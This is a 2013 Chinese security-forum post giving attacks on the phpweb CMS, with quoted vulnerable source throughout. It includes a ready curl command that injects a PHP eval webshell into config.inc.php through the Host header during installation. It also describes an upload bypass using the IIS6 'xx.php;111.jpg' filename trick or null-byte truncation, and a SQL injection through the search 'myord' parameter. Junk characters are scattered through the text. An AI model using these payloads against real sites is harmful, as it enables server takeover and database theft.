找回密码
 立即注册
查看: 3182|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:# F: b+ x4 J# }+ o2 N" u6 o: k5 p. h
+ ^. m  {, B- }& q! y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 ?' o/ ?8 c( z7 {8 b
; V9 a( o" |' E8 m* c鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 j2 F% {1 ~& W: m) H+ W- j
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
1 f3 a0 Y' g+ h, Z3 x
; V& b1 k6 B0 @. n$ y6 v6 p. A虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& K3 X$ z7 F% C8 h$ m1 |9 U

! Z7 j' P! [( O分析:3 k& D% ?1 W, ?

3 \0 R$ j7 w7 s$ [- C, B 1 u9 {# @0 p$ i" l4 o1 w  k
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤7 _0 F  V3 z/ Q' Y: J" C
* I; h" l- v& U" {: a9 J9 r
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
# E6 a. `' `' S7 {1 J                                            $filestr=str_replace(" ","",$filestr);5 a( S0 M6 m0 c! _1 {1 H3 P: g
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
  F+ Q% w7 @. {5 O1 O6 [% [                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);9 [% i& R! ~0 y' w9 |& \
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);2 h, Q8 P" J( v  e) G* @
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
  P9 @3 c  w0 H                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 K' I& I2 i5 M6 q
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);* ?3 }2 L; ?1 ~! m8 {
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- [2 S# |* `- I5 m6 b

/ l2 w' A& G% E' y6 ^( T. A                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
/ v% a( w, d1 H/ k$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" j# Z) l, ]" L" v
! r& _- Y! ?! i- ?
poc:
9 a) T" {& w1 B2 H1 Q' S ( o+ X' }4 G" G6 I& }
?* s2 T/ h# V  R# d. f& S% }$ B! s' ^1 a
19 X9 c0 A8 C1 ?* X) g/ u) j( E
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
" u  v3 i; c( \  yshell地址: /config.inc.php
5 z5 w% O* r* O! _. j0 i跟之前的 phpcms一样 需要远程数据库
  _( }  e8 w' _' l- D9 v1 X6 [ ' ^6 P6 e7 P7 w* ^" M
——————————————————–& h6 B9 z9 n' ^* C6 S" E. f# B
上传漏洞(需要进后台):
" x2 z# J8 q+ |漏洞文件: /kedit/upload_cgi/upload.php
2 s" {- S* c; a) T6 e& d9 `6 i* R这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# u! Q$ `* f0 K/ r/ O . V/ t; a7 L, D% i
# |4 y6 X" B3 s3 I& M! N
<?php& w' }, y) m4 U0 L/ q
    define("ROOTPATH", "../../");; [$ U3 R# }! y" P1 L
    include(ROOTPATH."includes/admin.inc.php");
, o; W" s: S* L; v6 T    NeedAuth(0);
& z% X, ~4 V+ m9 c3 }; Z0 \ 2 E# v- W. F3 W
    $dt=date("Ymd",time());2 m& `& Y  A6 K# Y
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){  J$ w# H) e* C3 [$ m% P
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);$ H) P4 G' I  K4 N5 v
    }
: H6 V: n1 E; X. ~3 T 0 J6 u  h3 G* {5 V* i, l7 O4 ^
    //文件保存目录路径
  }3 T. C# {) R+ s9 ^' a( I    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
2 m1 A! q# q* ^  }# q# b( c    echo $save_path;
; {4 V) u1 D& Y7 V, O    //文件保存目录URL( K- O6 W  e4 x- W9 l$ L% t( K5 H
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
" ?/ y  U7 B6 ?" d7 S1 u7 B $ e0 J6 `1 p* B  [6 {: ]% F8 _
    //定义允许上传的文件扩展名, D. X: b: B2 t0 Z) Y
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀9 d4 X' c/ {6 U! M2 A. \3 k

- s/ r* r& a! e+ ?0 i8 [$ ^$ H    //最大文件大小9 S1 t/ e6 L2 O7 A, u1 K; y
    $max_size = 1000000;7 A6 y# s2 D3 Y5 d5 Z* N3 N

- y  h) W1 |# _/ t    //更改目录权限
, N* r' u: G4 i$ X! p    @mkdir($save_path, 0777);0 |8 M# K" o( a2 ?( a3 ~

' t  |- ]0 ~# E2 ~! y0 r% V8 y- G    //文件的全部路径
0 f6 d# [: a/ \+ j5 @    $file_path = $save_path.$_POST['fileName'];   //保存文件名
0 W+ \4 k1 h) |0 P. Q4 ] 8 r3 A, {$ @, C: ]8 e8 m
    //文件URL2 Z/ ^/ |; y8 ]" B  c  h+ _
    $file_url = $save_url.$_POST['fileName'];* }, f) d2 I: i  @" d
//有上传文件时: c, \1 @. w# J+ o1 C2 S, z6 X: t9 a
    if (empty($_FILES) === false) {
# k, R! {$ {# T& e
. j, Z3 q& b/ l( p6 T9 X- W- }            //原文件名
) M' q% T+ s3 v1 F1 h) Y            $file_name = $_FILES['fileData']['name'];( a7 [. ?% h4 g! d% G; W
            //服务器上临时文件名6 b' L5 x8 R4 H* D) r0 j% S
            $tmp_name = $_FILES['fileData']['tmp_name'];
: V8 c( R. n5 H            //文件大小
7 e/ C  I3 {" s8 d+ h4 o& a+ w2 [            $file_size = $_FILES['fileData']['size'];1 ]$ k$ T. Q/ }
            //检查目录+ V* I, U0 u' V  E% e
            if (@is_dir($save_path) === false) {& _5 z1 p+ V1 t8 y) q8 j2 V
                    alert("上传目录不存在。");7 h0 u9 a0 `3 |1 Z+ n9 t
            }
/ F( I- x# g2 e- a* Z' ~            //检查目录写权限
% Z. z' |  T- X7 Z3 A( a4 ~            if (@is_writable($save_path) === false) {! P6 {+ H; v7 C# p1 Z& D' T# T
                    alert("上传目录没有写权限。");. f8 B  `1 E! c$ y) V% V$ ~
            }& \) O% i' _1 _% D. L
            //检查是否已上传
: w) ~% C' G4 M; H2 F            if (@is_uploaded_file($tmp_name) === false) {, |7 r9 `5 ?# C4 k# Y
                    alert("临时文件可能不是上传文件。");
0 J3 K" a6 h: w0 B4 c# D: @) c            }
$ Q, W/ V: z% }, F% ?( G1 D+ M+ d            //检查文件大小
7 r, u# E. m6 e1 g# I! I: e$ A% }( Y            if ($file_size > $max_size) {
) J; [/ F0 `! F8 W                    alert("上传文件大小超过限制。");
3 D# L. I. g! i            }
+ a4 i7 l$ Z8 x, p% n4 [            //获得文件扩展名4 r* l/ t8 e# ?' d
            $temp_arr = explode(".", $_POST['fileName']);: U2 `; R# `2 w/ e
            $file_ext = array_pop($temp_arr);8 d: k3 W$ D* r" k9 {+ S
            $file_ext = trim($file_ext);
8 ^4 R  r- E, h& \- H7 {2 a; f            $file_ext = strtolower($file_ext);9 G# e' H  E4 h, M

+ y2 z0 h8 e# ^: Q# u/ U9 u            //检查扩展名   # `% [, {+ Z5 q2 _# X/ x- X
            if (in_array($file_ext, $ext_arr) === false) {     : W  O, T, e, c# b" V. E
                    alert("上传文件扩展名是不允许的扩展名。");& N# b4 f' B8 O
            }
' c+ l0 _2 {# y/ F
& M2 @, m# j6 _; h            //移动文件   
6 }' b; e% H0 W7 V' Y5 d            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^! {6 r  O: Y+ ^
            if (move_uploaded_file($tmp_name, $file_path) === false) {
+ F- h6 u" A0 k& y/ v! s; `  n                    alert("上传文件失败。");% G/ q$ x5 ^& N, ^0 e
            }
+ _9 a, |' B% @. A6 F) R 4 a8 V; z$ k+ L; N
            @chmod($file_path,0666);/ T( s3 U: }2 X5 w- b/ `+ O# W
9 `9 G( J; M% v; U4 s7 C
    ?>
0 l( l) Q7 U' G; u3 x- \* X抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 w# r0 F. `4 G+ r3 M6 W 2 u" R& C* C* b) h3 o. R
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 v0 X) d/ ^7 G

6 d3 g) w4 D9 U! y1 A; v+ G——————————————————+ e5 ^# C# h( y' ?( S1 K
注入漏洞:
; [4 \- O' ~. N# O' H漏洞文件:search/module/search.php
- y+ i+ j8 ~- r  `; }3 S4 h/search/index.php?key=1&myord=1 [sqlinjection]" S; W- x; y& P- ?
) E/ k2 h7 }, ?0 B* [6 H
+ h5 ?' _. g" B
<?php5 F2 L7 l# p# z
   //       ... 省略 n 行...+ [  \7 Q6 F- P" O& }
   //第18行:
: J( I' c6 f$ a9 p" J: n           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响$ S( Z: I' F6 i! c# v$ x' O6 N3 L- D
           $page=htmlspecialchars($_GET["page"]);
: c! ^* X% q4 j% D& w3 G* }           $myord=htmlspecialchars($_GET["myord"]);
# j  v, T# y( f1 ^
( T: U- F* }5 x   //       ... 省略 n 行...
' H# @; X7 w& g& a4 s* Z% @   $key,$myord 两个参数带入查询! y3 W( O' B# n3 m" I+ F! M  O! _' y
   //第47行 $key:$ b: ?" t. I" C( B

4 p5 l1 A5 E& H/ i   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
2 D; k8 S& d- L2 E1 r5 F) L8 q : h% K" w3 S2 X9 c) Q7 ~+ v9 R
   //第197行 $myord
5 ?5 t3 h: V2 L0 [! r( T4 u   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入- W6 M. _% A  |$ o
9 ^( t4 \/ r7 N
   ?>- p& ?& b, Z1 P) C& M' R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表